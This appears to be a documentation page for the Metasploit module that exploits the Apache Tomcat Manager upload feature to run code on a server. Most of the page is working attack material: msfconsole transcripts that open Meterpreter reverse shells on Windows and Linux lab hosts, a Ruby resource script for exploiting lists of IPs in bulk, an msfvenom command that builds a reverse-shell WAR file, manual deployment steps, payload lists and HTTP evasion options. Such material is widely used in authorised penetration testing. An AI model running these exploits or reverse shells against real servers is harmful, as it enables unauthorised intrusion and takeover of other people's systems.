Apache Tomcat Manager Authenticated Upload Code Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/http/tomcat_mgr_upload metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
hide
- Module Overview
- Knowledge Base
- Documentation Format
- tomcat_mgr_deploy
- Windows (xp sp2)
- Tomcat 6 (6.0.48)
- Setup
- Exploitation
- Tomcat 7 (7.0.73)
- Setup
- Exploitation
- Tomcat 8 (8.0.39)
- Setup
- Exploitation
- Linux
- Tomcat6 (6.0.39) - Ubuntu server 14.04 64bit
- Setup
- Exploit
- Tomcat7 (7.0.68) - Ubuntu server 16.04 64bit
- Setup
- text/script Interface Exploitation
- Tomcat8 (8.0.32) - Ubuntu server 16.04 64bit
- Setup
- text/script Interface Exploitation
- Manual Exploitation
- Create payload
- Setup Handler
- Deploy
- Callback
- Manual Cleanup
- Msfconsole Usage
- Error Messages
- Related Pull Requests
- References
- See Also
- Authors
- Version
Module Overview
Name: Apache Tomcat Manager Authenticated Upload Code Execution
Module: exploit/multi/http/tomcat_mgr_upload
Source code: modules/exploits/multi/http/tomcat_mgr_upload.rb
Disclosure date: 2009-11-09
Last modification time: 2022-05-11 12:47:44 +0000
Supported architecture(s): -
Supported platform(s): Java, Linux, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2009-3548, CVE-2009-3843, CVE-2009-4188, CVE-2009-4189, CVE-2010-0557, CVE-2010-4094
This module can be used to execute a payload on Apache Tomcat servers that have an exposed "manager" application. The payload is uploaded as a WAR archive containing a jsp application using a POST request against the /manager/html/upload component. NOTE: The compatible payload sets vary based on the selected target. For example, you must select the Windows target to use native Windows payloads.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using tomcat_mgr_upload against a single host
Normally, you can use exploit/multi/http/tomcat_mgr_upload this way:
msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit(tomcat_mgr_upload) > show targets
... a list of targets ...
msf exploit(tomcat_mgr_upload) > set TARGET target-id
msf exploit(tomcat_mgr_upload) > show options
... show and set options ...
msf exploit(tomcat_mgr_upload) > exploit
Using tomcat_mgr_upload against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your tomcat_mgr_upload will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/tomcat_mgr_upload")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Documentation Format
This documentation is slightly different from the standard module documentation due to the variation in variables/privileges/versions that can affect how exploitation happens. This documentation is broken down by OS, Tomcat version, then privilege to show exploitation in each variation.
tomcat_mgr_deploy
This module is VERY similar to exploit/multi/http/tomcat_mgr_deploy, the main difference is this uses a POST HTTP request through the GUI, instead of a PUT HTTP request. This module also automatically undeploys (clean up) the malicious app.
Windows (xp sp2)
Tomcat 6 (6.0.48)
Setup
The install was default, other than adding a user during install. No other options were changed. The install assgined the new user the role manager-gui, which is Tomcat 7+ syntax.
For this exploitation, it was changed to simply manager.
Exploitation
Edit
C:\Program Files\Apache Software Foundation\Tomcat 6.0\tomcat-users.xmlto add the following under the<tomcat-users>line:Restart Tomcat service
Exploit:
msf > use exploit/multi/http/tomcat_mgr_upload msf exploit(tomcat_mgr_upload) > set rport 8086 rport => 8086 msf exploit(tomcat_mgr_upload) > set HttpUsername tomcat HttpUsername => tomcat msf exploit(tomcat_mgr_upload) > set HttpPassword tomcat HttpPassword => tomcat msf exploit(tomcat_mgr_upload) > set rhost 192.168.2.108 rhost => 192.168.2.108 msf exploit(tomcat_mgr_upload) > set payload java/meterpreter/reverse_tcp payload => java/meterpreter/reverse_tcp msf exploit(tomcat_mgr_upload) > check [*] 192.168.2.108:8086 The target appears to be vulnerable. msf exploit(tomcat_mgr_upload) > set lhost 192.168.2.117 lhost => 192.168.2.117 msf exploit(tomcat_mgr_upload) > exploit [*] Started reverse TCP handler on 192.168.2.117:4444 [*] Retrieving session ID and CSRF token... [*] Uploading and deploying ZyCAK8R6vkZdD7d8n5fiLOpXEfPsq7... [*] Executing ZyCAK8R6vkZdD7d8n5fiLOpXEfPsq7... [*] Undeploying ZyCAK8R6vkZdD7d8n5fiLOpXEfPsq7 ... [*] Sending stage (49409 bytes) to 192.168.2.108 [*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.108:3387) at 2017-01-15 19:18:14 -0500 meterpreter > sysinfo Computer : winxp OS : Windows XP 5.1 (x86) Meterpreter : java/windows
Tomcat 7 (7.0.73)
Of note, as of Tomcat 7, the permission role manager has been divided into several sub-roles. The manager-gui permission is required for this exploit.
Setup
The install was default, other than adding a user during install. No other options were changed.
Exploitation
If a user was not defined at install, you will need to add a
manager-guipermission user. EditC:\Program Files\Apache Software Foundation\Tomcat 7.0\tomcat-users.xmlto add the following under the<tomcat-users>line:Restart the service if a user was added/changed
Exploitation:
msf > use exploit/multi/http/tomcat_mgr_upload msf exploit(tomcat_mgr_upload) > set HttpUsername tomcat HttpUsername => tomcat msf exploit(tomcat_mgr_upload) > set HttpPassword tomcat HttpPassword => tomcat msf exploit(tomcat_mgr_upload) > set rhost 192.168.2.108 rhost => 192.168.2.108 msf exploit(tomcat_mgr_upload) > set payload java/meterpreter/reverse_tcp payload => java/meterpreter/reverse_tcp msf exploit(tomcat_mgr_upload) > set lhost 192.168.2.117 lhost => 192.168.2.117 msf exploit(tomcat_mgr_upload) > set rport 8087 rport => 8087 msf exploit(tomcat_mgr_upload) > check [*] 192.168.2.108:8087 The target appears to be vulnerable. msf exploit(tomcat_mgr_upload) > exploit [*] Started reverse TCP handler on 192.168.2.117:4444 [*] Retrieving session ID and CSRF token... [*] Uploading and deploying vm5yNsROSQ... [*] Executing vm5yNsROSQ... [*] Undeploying vm5yNsROSQ ... [*] Sending stage (49409 bytes) to 192.168.2.108 [*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.108:3427) at 2017-01-15 19:25:22 -0500 meterpreter > sysinfo Computer : winxp OS : Windows XP 5.1 (x86) Meterpreter : java/windows
Tomcat 8 (8.0.39)
Of note, as of Tomcat 7, the permission role manager has been divided into several sub-roles. The manager-gui permission is required for this exploit.
Setup
The install was default, other than adding a user during install. No other options were changed.
Exploitation
If a user was not defined at install, you will need to add a
manager-guipermission user. EditC:\Program Files\Apache Software Foundation\Tomcat 8.0\tomcat-users.xmlto add the following under the<tomcat-usersline:Restart the service if a user was added/changed
Exploitation:
msf > use exploit/multi/http/tomcat_mgr_upload msf exploit(tomcat_mgr_upload) > set rport 8088 rport => 8088 msf exploit(tomcat_mgr_upload) > set HttpUsername tomcat HttpUsername => tomcat msf exploit(tomcat_mgr_upload) > set HttpPassword tomcat HttpPassword => tomcat msf exploit(tomcat_mgr_upload) > set rhost 192.168.2.108 rhost => 192.168.2.108 msf exploit(tomcat_mgr_upload) > set payload java/meterpreter/reverse_tcp payload => java/meterpreter/reverse_tcp msf exploit(tomcat_mgr_upload) > set lhost 192.168.2.117 lhost => 192.168.2.117 msf exploit(tomcat_mgr_upload) > set verbose true verbose => true msf exploit(tomcat_mgr_upload) > check [*] Tomcat Manager found running on win platform and x86 architecture [!] No active DB -- Credential data will not be saved! [*] 192.168.2.108:8088 The target appears to be vulnerable. msf exploit(tomcat_mgr_upload) > exploit [*] Started reverse TCP handler on 192.168.2.117:4444 [*] Retrieving session ID and CSRF token... [*] Finding CSRF token... [*] Uploading and deploying AiV6YUyTkEpIK5G87r0gmdf8fFH... [*] Uploading 6094 bytes as AiV6YUyTkEpIK5G87r0gmdf8fFH.war ... [*] Executing AiV6YUyTkEpIK5G87r0gmdf8fFH... [*] Executing /AiV6YUyTkEpIK5G87r0gmdf8fFH/u9TOPpZzy6dj21L.jsp... [*] Finding CSRF token... [*] Undeploying AiV6YUyTkEpIK5G87r0gmdf8fFH ... [*] Sending stage (49409 bytes) to 192.168.2.108 [*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.108:3508) at 2017-01-15 19:38:29 -0500 meterpreter > sysinfo Computer : winxp OS : Windows XP 5.1 (x86) Meterpreter : java/windows
Linux
Tomcat6 (6.0.39) - Ubuntu server 14.04 64bit
Setup
- Install Tomcat and dependencies:
sudo apt-get install tomcat6 tomcat6-admin
Exploit
Edit
/etc/tomcat6/tomcat-users.xmlto add the following:Restart the service if a user was added/changed:
sudo service tomcat6 restartExploit:
msf > use exploit/multi/http/tomcat_mgr_upload msf exploit(tomcat_mgr_upload) > set HttpUsername tomcat HttpUsername => tomcat msf exploit(tomcat_mgr_upload) > set HttpPassword tomcat HttpPassword => tomcat msf exploit(tomcat_mgr_upload) > set payload java/meterpreter/reverse_tcp payload => java/meterpreter/reverse_tcp msf exploit(tomcat_mgr_upload) > set verbose true verbose => true msf exploit(tomcat_mgr_upload) > set lhost 192.168.2.117 lhost => 192.168.2.117 msf exploit(tomcat_mgr_upload) > set rhost 192.168.2.156 rhost => 192.168.2.156 msf exploit(tomcat_mgr_upload) > set rport 8080 rport => 8080 msf exploit(tomcat_mgr_upload) > check [*] Tomcat Manager found running on linux platform and x64 architecture [!] No active DB -- Credential data will not be saved! [*] 192.168.2.156:8080 The target appears to be vulnerable. msf exploit(tomcat_mgr_upload) > exploit [*] Started reverse TCP handler on 192.168.2.117:4444 [*] Retrieving session ID and CSRF token... [*] Finding CSRF token... [*] Uploading and deploying biytXntmq4Dtie0ulwwT... [*] Uploading 6082 bytes as biytXntmq4Dtie0ulwwT.war ... [!] No active DB -- Credential data will not be saved! [*] Executing biytXntmq4Dtie0ulwwT... [*] Executing /biytXntmq4Dtie0ulwwT/rmslIdWH4LwPZlMkHipzUah.jsp... [*] Finding CSRF token... [*] Undeploying biytXntmq4Dtie0ulwwT ... [*] Sending stage (49409 bytes) to 192.168.2.156 [*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.156:55062) at 2017-01-15 20:29:42 -0500 meterpreter > sysinfo Computer : Ubuntu14 OS : Linux 4.2.0-27-generic (amd64) Meterpreter : java/linux
Tomcat7 (7.0.68) - Ubuntu server 16.04 64bit
Of note, as of Tomcat 7, the permission role manager has been divided into several sub-roles. Each sub role the user has will change which path variable for exploitation.
Setup
- Install Tomcat and dependencies:
apt-get install tomcat7 tomcat7-admin
text/script Interface Exploitation
Edit
/etc/tomcat7/tomcat-users.xmlto add:Restart the service if a user was added/changed:
sudo service tomcat7 restartExploit:
msf > use exploit/multi/http/tomcat_mgr_upload msf exploit(tomcat_mgr_upload) > set HttpUsername tomcat HttpUsername => tomcat msf exploit(tomcat_mgr_upload) > set HttpPassword tomcat HttpPassword => tomcat msf exploit(tomcat_mgr_upload) > set payload java/meterpreter/reverse_tcp payload => java/meterpreter/reverse_tcp msf exploit(tomcat_mgr_upload) > set lhost 192.168.2.117 lhost => 192.168.2.117 msf exploit(tomcat_mgr_upload) > set verbose true verbose => true msf exploit(tomcat_mgr_upload) > set rhost 192.168.2.118 rhost => 192.168.2.118 msf exploit(tomcat_mgr_upload) > set rport 8087 rport => 8087 msf exploit(tomcat_mgr_upload) > check [*] Tomcat Manager found running on linux platform and x64 architecture [!] No active DB -- Credential data will not be saved! [*] 192.168.2.118:8087 The target appears to be vulnerable. msf exploit(tomcat_mgr_upload) > exploit [*] Started reverse TCP handler on 192.168.2.117:4444 [*] Retrieving session ID and CSRF token... [*] Finding CSRF token... [*] Uploading and deploying QyjbnIqnn23FOe... [*] Uploading 6077 bytes as QyjbnIqnn23FOe.war ... [*] Executing QyjbnIqnn23FOe... [*] Executing /QyjbnIqnn23FOe/2NFgGA5fk1.jsp... [*] Finding CSRF token... [*] Undeploying QyjbnIqnn23FOe ... [*] Sending stage (49409 bytes) to 192.168.2.118 [*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.118:33808) at 2017-01-15 20:04:21 -0500 meterpreter > sysinfo Computer : tomcat OS : Linux 4.4.0-59-generic (amd64) Meterpreter : java/linux
Tomcat8 (8.0.32) - Ubuntu server 16.04 64bit
Of note, as of 7, the permission role 'manager' has been divided into several sub-roles. The manager-gui permission is required for this exploit.
Setup
apt-get install tomcat8 tomcat8-admin
text/script Interface Exploitation
Edit
/etc/tomcat8/tomcat-users.xmlto add:Restart the service if a user was added/changed:
sudo service tomcat8 restartExploit:
msf > use exploit/multi/http/tomcat_mgr_upload msf exploit(tomcat_mgr_upload) > set HttpUsername tomcat HttpUsername => tomcat msf exploit(tomcat_mgr_upload) > set HttpPassword tomcat HttpPassword => tomcat msf exploit(tomcat_mgr_upload) > set payload java/meterpreter/reverse_tcp payload => java/meterpreter/reverse_tcp msf exploit(tomcat_mgr_upload) > set lhost 192.168.2.117 lhost => 192.168.2.117 msf exploit(tomcat_mgr_upload) > set verbose true verbose => true msf exploit(tomcat_mgr_upload) > set rhost 192.168.2.118 rhost => 192.168.2.118 msf exploit(tomcat_mgr_upload) > set rport 8088 rport => 8088 msf exploit(tomcat_mgr_upload) > check [*] Tomcat Manager found running on linux platform and x64 architecture [*] 192.168.2.118:8088 The target appears to be vulnerable. msf exploit(tomcat_mgr_upload) > exploit [*] Started reverse TCP handler on 192.168.2.117:4444 [*] Retrieving session ID and CSRF token... [*] Finding CSRF token... [*] Uploading and deploying Bjf01M65XUROXL36wmIc85OmtY... [*] Uploading 6092 bytes as Bjf01M65XUROXL36wmIc85OmtY.war ... [*] Executing Bjf01M65XUROXL36wmIc85OmtY... [*] Executing /Bjf01M65XUROXL36wmIc85OmtY/UbPmEhI1wkAf8Yj1rTohvPQWPIADy5.jsp... [*] Finding CSRF token... [*] Undeploying Bjf01M65XUROXL36wmIc85OmtY ... [*] Sending stage (49409 bytes) to 192.168.2.118 [*] Meterpreter session 3 opened (192.168.2.117:4444 -> 192.168.2.118:33814) at 2017-01-15 20:08:13 -0500 meterpreter > sysinfo Computer : tomcat OS : Linux 4.4.0-59-generic (amd64) Meterpreter : java/linux
Manual Exploitation
Create payload
This was performed on Windows XP with the following permissions as the user that was used to login:
- Tomcat 6.0.48:
manager - Tomcat 7.0.73:
manager-gui - Tomcat 8.0.39:
manager-gui
/metasploit-framework# msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.2.117 LPORT=7777 -f war -o meterp.war
Payload size: 6072 bytes
Final size of war file: 6072 bytes
Saved as: meterp.war
Setup Handler
msf > use exploit/multi/handler
msf exploit(handler) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.2.117
lhost => 192.168.2.117
msf exploit(handler) > set lport 7777
lport => 7777
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 192.168.2.117:7777
[*] Starting the payload handler...
Deploy
- With a web browser, browse to
http://<ip>:<port>/manager/html - Enter credentials (no default)
- Under
Deploy>WAR file to deploy, click browse to selectmeterp.war, clickDeploy meterpshould now be listed underApplications, meaning it was successfully deployed.- Either click the link for
/meterpor browse tohttp://<ip>:<port>/meterp/
Callback
After browsing to that page, code execution will happen, and your callback will hit.
[*] Starting the payload handler...
[*] Sending stage (49409 bytes) to 192.168.2.108
[*] Meterpreter session 1 opened (192.168.2.117:7777 -> 192.168.2.108:1704) at 2017-01-14 14:53:37 -0500
meterpreter > sysinfo
Computer : winxp
OS : Windows XP 5.1 (x86)
Meterpreter : java/windows
Manual Cleanup
This will NOT remove the meterpreter from Tomcat, click Undeploy within the Application list to remove meterp from Tomcat.
Go back to menu.
Msfconsole Usage
Here is how the multi/http/tomcat_mgr_upload exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/tomcat_mgr_upload
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_upload) > show info
Name: Apache Tomcat Manager Authenticated Upload Code Execution
Module: exploit/multi/http/tomcat_mgr_upload
Platform: Java, Linux, Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2009-11-09
Provided by:
rangercha
Available targets:
Id Name
-- ----
0 Java Universal
1 Windows Universal
2 Linux x86
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword no The password for the specified username
HttpUsername no The username to authenticate as
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /manager yes The URI path of the manager app (/html/upload and /undeploy will be used)
VHOST no HTTP server virtual host
Payload information:
Description:
This module can be used to execute a payload on Apache Tomcat
servers that have an exposed "manager" application. The payload is
uploaded as a WAR archive containing a jsp application using a POST
request against the /manager/html/upload component. NOTE: The
compatible payload sets vary based on the selected target. For
example, you must select the Windows target to use native Windows
payloads.
References:
https://nvd.nist.gov/vuln/detail/CVE-2009-3843
OSVDB (60317)
https://nvd.nist.gov/vuln/detail/CVE-2009-4189
OSVDB (60670)
https://nvd.nist.gov/vuln/detail/CVE-2009-4188
http://www.securityfocus.com/bid/38084
https://nvd.nist.gov/vuln/detail/CVE-2010-0557
http://www-01.ibm.com/support/docview.wss?uid=swg21419179
https://nvd.nist.gov/vuln/detail/CVE-2010-4094
http://www.zerodayinitiative.com/advisories/ZDI-10-214
https://nvd.nist.gov/vuln/detail/CVE-2009-3548
OSVDB (60176)
http://www.securityfocus.com/bid/36954
http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html
Module Options
This is a complete list of options available in the multi/http/tomcat_mgr_upload exploit:
msf6 exploit(multi/http/tomcat_mgr_upload) > show options
Module options (exploit/multi/http/tomcat_mgr_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword no The password for the specified username
HttpUsername no The username to authenticate as
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /manager yes The URI path of the manager app (/html/upload and /undeploy will be used)
VHOST no HTTP server virtual host
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Java Universal
Advanced Options
Here is a complete list of advanced options supported by the multi/http/tomcat_mgr_upload exploit:
msf6 exploit(multi/http/tomcat_mgr_upload) > show advanced
Module advanced options (exploit/multi/http/tomcat_mgr_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AESPassword no Password for encrypting communication
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
JavaMeterpreterDebug false no Run the payload in debug mode, with logging enabled
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
Spawn 2 yes Number of subprocesses to spawn
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/tomcat_mgr_upload module can exploit:
msf6 exploit(multi/http/tomcat_mgr_upload) > show targets
Exploit targets:
Id Name
-- ----
0 Java Universal
1 Windows Universal
2 Linux x86
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/tomcat_mgr_upload exploit:
msf6 exploit(multi/http/tomcat_mgr_upload) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/java/jsp_shell_bind_tcp normal No Java JSP Command Shell, Bind TCP Inline
4 payload/java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline
5 payload/java/meterpreter/bind_tcp normal No Java Meterpreter, Java Bind TCP Stager
6 payload/java/meterpreter/reverse_http normal No Java Meterpreter, Java Reverse HTTP Stager
7 payload/java/meterpreter/reverse_https normal No Java Meterpreter, Java Reverse HTTPS Stager
8 payload/java/meterpreter/reverse_tcp normal No Java Meterpreter, Java Reverse TCP Stager
9 payload/java/shell/bind_tcp normal No Command Shell, Java Bind TCP Stager
10 payload/java/shell/reverse_tcp normal No Command Shell, Java Reverse TCP Stager
11 payload/java/shell_reverse_tcp normal No Java Command Shell, Reverse TCP Inline
12 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
13 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/tomcat_mgr_upload exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/tomcat_mgr_upload) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- Server rejected the credentials
- Unable to access the Tomcat Manager
- Upload failed
- Failed to execute the payload
- Unable to access the Tomcat Manager
- Failed to undeploy <APP_BASE>...
- Failed: Error requesting <PATH>
- Upload failed on <UPLOAD_PATH> [No Response]
- Warning: The web site asked for authentication: <VALUE>
- Upload failed on <UPLOAD_PATH> [<RES.CODE> <RES.MESSAGE>]
- Execution failed on <APP_BASE> [No Response]
- Execution failed on <APP_BASE> [<RES.CODE> <RES.MESSAGE>]
- WARNING: Undeployment failed on <UNDEPLOY_URL> [No Response]
- Deletion failed on <UNDEPLOY_URL> [<RES.CODE> <RES.MESSAGE>]
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Server rejected the credentials
Here is a relevant code snippet related to the "Server rejected the credentials" error message:
109: disconnect
110:
111: return CheckCode::Unknown if res.nil?
112:
113: if res.code.between?(400, 499)
114: vprint_error("Server rejected the credentials")
115: return CheckCode::Unknown
116: end
117:
118: return CheckCode::Safe unless res.code == 200
119:
Unable to access the Tomcat Manager
Here is a relevant code snippet related to the "Unable to access the Tomcat Manager" error message:
140: #
141: # Find the session ID and the CSRF token
142: #
143: print_status("Retrieving session ID and CSRF token...")
144: unless access_manager?
145: fail_with(Failure::Unknown, "Unable to access the Tomcat Manager")
146: end
147:
148: #
